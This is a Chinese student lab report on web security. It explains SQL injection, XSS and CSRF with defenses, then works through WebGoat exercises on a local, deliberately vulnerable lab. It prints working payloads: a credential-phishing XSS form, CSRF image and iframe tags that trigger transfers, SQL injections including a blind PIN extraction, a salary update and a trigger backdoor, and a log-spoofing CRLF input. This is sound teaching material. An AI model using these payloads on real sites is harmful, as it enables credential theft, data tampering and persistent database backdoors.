2017-2018-2 20155309 南皓芯 Exp9 Web安全基础
基础问题回答
1.SQL注入攻击原理,如何防御
原理:它是利用现有应用程序,将恶意的SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入恶意SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句,最终达到欺骗服务器执行恶意的SQL命令。
本质:基于文本解析的机制无法分辨代码是否是恶意代码,仅仅是顺序读取和执行,因为通常文本解析的语言并不会进行编译。
防御:既然可以看到注入类攻击的核心原因是因为很多语言的顺序执行机制,和文本解析的本质,那么我只需要打破这种机制就可以防止注入攻击的发生。以SQL注入为例,可以通过JAVA中的绑定变量等方法进行预防,JAVA的绑定变量方法是吧用户的输入作为一种变量,对SQL语句进行预编译,这样在执行时就不是顺序执行,而是把输入作为一种变量进行处理,不会在运行时进行动态的拼接SQL语句,防止了恶意的攻击代码被写入SQL语句进行解析和执行。
2.xSS攻击的原理,如何防御
原理:攻击者往Web页面里插入恶意html标签或者javascript代码,当用户浏览该页或者进行某些操作时,攻击者利用用户对原网站的信任,诱骗用户或浏览器执行一些不安全的操作或者向其它网站提交用户的私密信息。
条件:
网站需要有输入参数的地方。(所谓输入不一定是<\input>标签的文本框类型,也可以是选择栏,或者submit,只需要通过工具进行intercept修改参数,能够控制传入值就可以了。)
用户的输入会被通过某种方式再次呈现出来。
分类:反射型和储存型,简单来讲,反射型不存储信息,一旦离开该网页所有输入无法再找回;储存型会存储信息,会将用户名甚至密码存储起来,即使离开这个网站下次再次进入,用户名依旧会留存在页面。
防御:
过滤<
和>
标记,XSS跨站攻击的最终目标是引入script代码在用户的浏览器中执行,所以最基本最简单的过滤方法,就是转换<
和>
标记。
HTML属性过滤,一旦用户输入的语句中含有javascript
,jscript``vbscript
,都用空白代替。
过滤特殊字符:&、回车和空格。
3.CSRF攻击原理,如何防御
原理:
CSRF就是冒名登录。跨站请求伪造的核心本质是窃取用户的Session,或者说Cookie,因为目前主流情况Session都是存在Cookie中.攻击者并不关心被害者具体帐号和密码,因为一旦用户进行了登录,Session就是用户的唯一凭证,只要攻击者能够得到Session,就可以伪装成被害者进入服务器.
实例:利用HTML的Request机制,攻击者发送给被害者一个www.B.com
域名下的网站,内部嵌入了恶意的src=www.A.com的Request
指令,如果被害者打开B.com时当前浏览器正好已经登录过了A.com并且把A.com的Cookie放入了浏览器,那么在B.com下Request站点A.com时就会带走A.com的Session.服务器会错误的认为B.com的恶意请求是用户自己发出的。
防御:
CSRF的攻击是有条件的,当用户访问恶意链接的时候,认证的cookie仍然有效,所以当用户关闭页面的时候cookie应该要被清除。
验证HTTP Referer字段。
在请求地址中添加token并验证。
在HTTP头中自定义属性并验证。
实验过程
WebGoat
首先什么是WebGoat呢,官网给出的解释是WebGoat是OWASP组织研制出的用于进行web漏洞实验的应用平台,用来说明web应用中存在的安全漏洞。WebGoat运行在带有java虚拟机的平台之上,当前提供的训练课程有30多个,其中包括:跨站点脚本攻击(XSS)、访问控制、线程安全、操作隐藏字段、操纵参数、弱会话cookie、SQL盲注、数字型SQL注入、字符串型SQL注入、web服务、Open Authentication失效、危险的HTML注释等等。
运行WebGoat,在这之前需要一个java的环境,所以得先安装一个JDK,如果虚拟机里已经有了,那就省了不少事儿,直接在终端键入命令
java -jar webgoat-container-7.0.1-war-exec.jar
由于WebGoat使用的是8080端口,所以在浏览器上访问localhost:8080/WebGoat
,进入WebGoat,默认的账号密码进行登录。
进去之后就可以在左边看到很多练习啦。
xss攻击
Phishing with XSS跨站脚本钓鱼攻击
跨站脚本攻击最大的魅力是通过HTML注入劫持用户的浏览器,任意构造用户当前浏览的HTML内容,甚至可以模拟用户当前的操作。这里实验的是一种获取用户名和密码的攻击
先编写一个包含用户名、密码的前端代码:
<head>
<body>
<div>
<div style="float:left;height:100px;width:30%;background-color:green;"></div>
<div style="float:left;height:100px;width:30%;background-color:red;"></div>
</div>
<div style="background-color:blue;height:100px;clear:both;"></div>
</div></div>
</form>
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("attack.!!!!!! Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br>
<br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
</body>
</head>
然后在webgoat
找到xss攻击打开Phishing with XSS
我们之后将上面的代码输入之后并且点击search之后就可以看到我们的登录界面了。
在登录框中输入用户名以及密码
我们可以发现攻击成功
2、Stored XSS Attacks存储型XSS攻击
存储型XSS的攻击基本流程:
a. 比如在某个论坛提供留言板功能,黑客在留言板内插入恶意的html或者Javascript代码,并且提交。
b. 网站后台程序将留言内容存储在数据中
c. 然后一个用户也访问这个论坛,并刷新了留言板,这时网站后台从数据库中读取了之前黑客的留言内容,并且直接插入在html页面中,这就可能导致了:黑客留言的脚本本身应该作为内容显示在留言板的,然后此时可能黑客的留言脚本被浏览器解释执行了。
黑客脚本能干的事:
通过javascript获取用户的cookie,根据这个cookie窃取用户信息
重定向网站到一个钓鱼网站
重新更改页面内容,假装让客户输入用户名,密码,然后提交到黑客的服务器
打开Stored XSS Attacks(xxs攻击)
在Message
框中输入
`
攻击成功。
3.Reflected XSS Attacks 反射型XSS攻击
我们在访问一个网页的时候,在URL后面加上参数,服务器根据请求的参数值构造不同的HTML返回。
value可能出现在返回的HTML(可能是JS,HTML某元素的内容或者属性)中,
如果将value改成可以在浏览器中被解释执行的东西,就形成了反射型XSS.
有人会问,我怎么可能自己去把value改成可以执行的恶意代码呢?这不是自己坑自己吗.
但是一种情况是别人可能修改这个value值,然后将这个恶意的URL发送给你,或者别人,当URL地址被打开时,
特有的恶意代码参数被HTML解析,执行.它的特点是非持久化,必须用户点击带有特定参数的链接才能引起
打开第三个xss攻击
点击Purchase出现对话框,显示I am 20155309nhx。攻击成功!
CSRF攻击
跨站请求伪造,尽管听起来像跨站脚本(XSS),但它与XSS非常不同,XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比XSS更具危险性。
1、Cross Site Request Forgery(CSRF)
查看页面右边Parameters
中的src
和menu
值。
在title框中输入学号,message框中输入代码:
<img src='attack?Screen=src值&menu=menu值&transferFunds=转账数额' width='1' height='1'>
提交后生成一个链接20155309
点击后即可查看信息,攻击成功
2.CSRF Prompt By-Pass
查看页面右边Parameters中的src和menu值,并在title框中输入学号,message框中输入代码:
<iframe src="attack?Screen=282&menu=900&transferFunds=555555"> </iframe>
<iframe src="attack?Screen=282&menu=900&transferFunds=CONFIRM"> </iframe>
点击学号名即可查看用户操作的信息,攻击成功
SQL注入攻击
SQL注入攻击是黑客对数据库进行攻击的常用手段之一。随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多。但是由于程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQL Injection,即SQL注入。
1、Numeric SQL Injection
我们看到这一题的选择框也是一个下拉框,在当前网页上无法修改,于是,我们使用BurpSuite
抓包修改
在Kali桌面上找到如下图标,打开BurpSuite:
在BurpSuite中依次选择Proxy->Options->Add
添加一个端口,将绑定的端口设为5309
,点击确认后会在Options
下增加一行,勾选新形成的这一行:
点击浏览器右上方的更多选项卡,选择preference
在页面左侧选择advanced
,选择network
页标签,在connection
那一行选择settings
在弹出的窗口中设置代理服务器和端口(要与BurpSuite
中绑定的一致)
设置好代理后回到题目页面,点击Go
,然后进入BurpSuite
中依次选择Proxy->Intercept
,可以看到已经抓到了包:
右键选择send to repeater
进入repeater页标签,选择Params将其中station的值改为101 or 1=1,点击Go运行,查看右侧代码可以看到包中的SQL语句为
SELECT * FROM weather_data WHERE station = 101 or 1=1
回到Proxy
中点击Intercept is on
对剩下的包不作处理,回到火狐发现已经成功。
2、Command Injection
我们对这个进行操作还是在BurpSuite
进行抓包修改。
在题目页面点击view
,然后进入BurpSuite
中,在repeater
页标签的Params
选项中先运行一次,查看数据都提交的位置,显示破解成功
回到题目发现显示破解成功。
3、Log Spoofing
在User Name
文本框中输入%0d%0aLogin succeeded !admin
达到欺骗登录效果,破解成功:
4.String SQL Injection
基于select语句构造SQL注入字符串,在文本框中输入' or 1=1 --
点Go,攻击成功,所有用户信息都被显示出来:
5.Blind Numeric SQL Injection
在输入框输入101
,运行后发现返回Account number is valid
,说明这个数是合法的
构造输入语句101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 数值 )
;根据返回结果判定合法范围
使用二分法进行测试,确定值是2364,输入2364后破解成功
6.Database Backdoors
输入101可得到该用户信息
再输入语句101; update employee set salary=666666
成功可将该用户的工资变成666666
,如下图所示成功
再输入语句
101 or 1=1;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='20155321@qq.com' WHERE userid = NEW.userid
当表中有新用户时则新用户的邮箱则为自己设置的邮箱
实验体会
首先我们在做实验时候,第一个终端一定不要关闭,否则会导致自己后续实验的失败,实验的难度不大,但是需要自己分条的进行操作,所以很麻烦,做的时候有一点烦躁,不过还好,这个是最后一个实验了,要say bye了。
2017-2018-2 20155309 南皓芯 Exp9 Web安全基础的更多相关文章
- 2017-2018-2 20155309南皓芯 Exp8 WEB基础实践
基础问题回答 (1)什么是表单 表单在网页中主要负责数据采集功能.一个表单有三个基本组成部分: 表单标签:这里面包含了处理表单数据所用CGI程序的URL以及数据提交到服务器的方法. 表单域:包含了文本 ...
- 2017-2018-2 20155309 南皓芯 Exp5 MSF基础应用
实践内容 本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路.具体需要完成: 1.1一个主动攻击实践,如ms08_067; 1.2 一个针对浏览器的攻击,如ms11_05 ...
- 2017-2018-2 20155309南皓芯《网络对抗技术》Exp2 后门原理与实践
实验要求 (1)使用netcat获取主机操作Shell,cron启动 (0.5分) (2)使用socat获取主机操作Shell, 任务计划启动 (0.5分) (3)使用MSF meterpreter( ...
- 2017-2018-2 20155309南皓芯 Exp4 恶意代码分析
实验后回答问题 (1)如果在工作中怀疑一台主机上有恶意代码,但只是猜想,所有想监控下系统一天天的到底在干些什么.请设计下你想监控的操作有哪些,用什么方法来监控. 答:我会使用sysmon工具来进行监控 ...
- 2017-2018-2 20155309 南皓芯 Exp7 网络欺诈防范
实践内容 本实践的目标理解常用网络欺诈背后的原理,以提高防范意识,并提出具体防范方法.具体实践有 1,简单应用SET工具建立冒名网站 2.ettercap DNS spoof 3.结合应用两种技术,用 ...
- 2017-2018-2 20155309南皓芯 Exp6 信息搜集与漏洞扫描
实践内容 1.各种搜索技巧的应用 2.DNS IP注册信息的查询 3.基本的扫描技术:主机发现.端口扫描.OS及服务版本探测.具体服务的查点 4.漏洞扫描:会扫,会看报告,会查漏洞说明,会修补漏洞 基 ...
- 2017-2018-2 20155309 南皓芯 Exp3 免杀原理与实践
报告内容 2.1.基础问题回答 (1)杀软是如何检测出恶意代码的 ? 1:基于特征码 一段特征码就是一段或多段数据.(如果一个可执行文件(或其他运行的库.脚本等)包含这样的数据则被认为是恶意代码) 杀 ...
- 20155309南皓芯 网络对抗《网络攻防》 Exp1 PC平台逆向破解(5)M
实践目标 本次实践的对象是linux的可执行文件 该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串. 该程序同时包含另一个代码片段,getShell,会返回一个可 ...
- 2016-2017-2 20155309 南皓芯java第六周学习总结
教材内容详解 这一次主要学习的是第十章与第十一章的内容.主要讲述了串流,字符处理和线程以及并行API. 输入输出 串流:Java中的数据有来源(source)和目的地(destination),衔接两 ...
随机推荐
- CentOS6.8下搭建zookeeper web界面查看工具node-zk-browser
zookeeper的web界面查看工具Node-ZK-Browser的界面是用nodejs写的今天试着搭建了下. 1. 安装nodejs [root@localhost product]# pwd / ...
- google Guava包的ListenableFuture解析
一. ListenableFuture是用来增强Future的功能的. 我们知道Future表示一个异步计算任务,当任务完成时可以得到计算结果.如果我们希望一旦计算完成就拿到结果展示给用户或者做另外 ...
- mysql中sql语句的常用语句
1:提取公共的sql语句: 2:动态添加----sql语句: 代码: <insert id="test1" parameterType="com.floor.sho ...
- JacobMathType
JACOB是一个 Java到微软的COM接口的桥梁.使用JACOB允许任何JVM访问COM对象,从而使JAVA应用程序能够调用COM对象,;MathType 是由美国Design Science公司开 ...
- VC++中LogFont设置字体(转)
LOGFONT是Windows内部字体的逻辑结构,主要用于设置字体格式,其定义如下:typedef struct tagLOGFONTA{LONG lfHeight;LONG lfWidth;LONG ...
- C# 面向对象的base的使用
using System; using System.Collections.Generic; using System.Linq; using System.Text; namespace Cons ...
- sql 行变列
select * from market//查看原来所有数据 //第一种方式 select max(case area when '南京' then num else 0 end) 南京, max(c ...
- JavaScript之DOM概念
一.DOM概念 1.DOM是什么? 1.1 起源.DOM起源于Netscape与Microsoft 公司的DHTML(动态HTML). 1.2 名词解释.Document Object Model,文 ...
- Linux之包管理工具总结[RPM/DPKG]-[YUM/APT]
0.关键词解释 RPM:Red Hat Package Manager(原名),RPM Package Manager(现名,递归缩写,类似于GNU的命名); 解释:RPM软件包管理器 YUM:Yel ...
- tensorflow神经网络拟合非线性函数与操作指南
本实验通过建立一个含有两个隐含层的BP神经网络,拟合具有二次函数非线性关系的方程,并通过可视化展现学习到的拟合曲线,同时随机给定输入值,输出预测值,最后给出一些关键的提示. 源代码如下: # -*- ...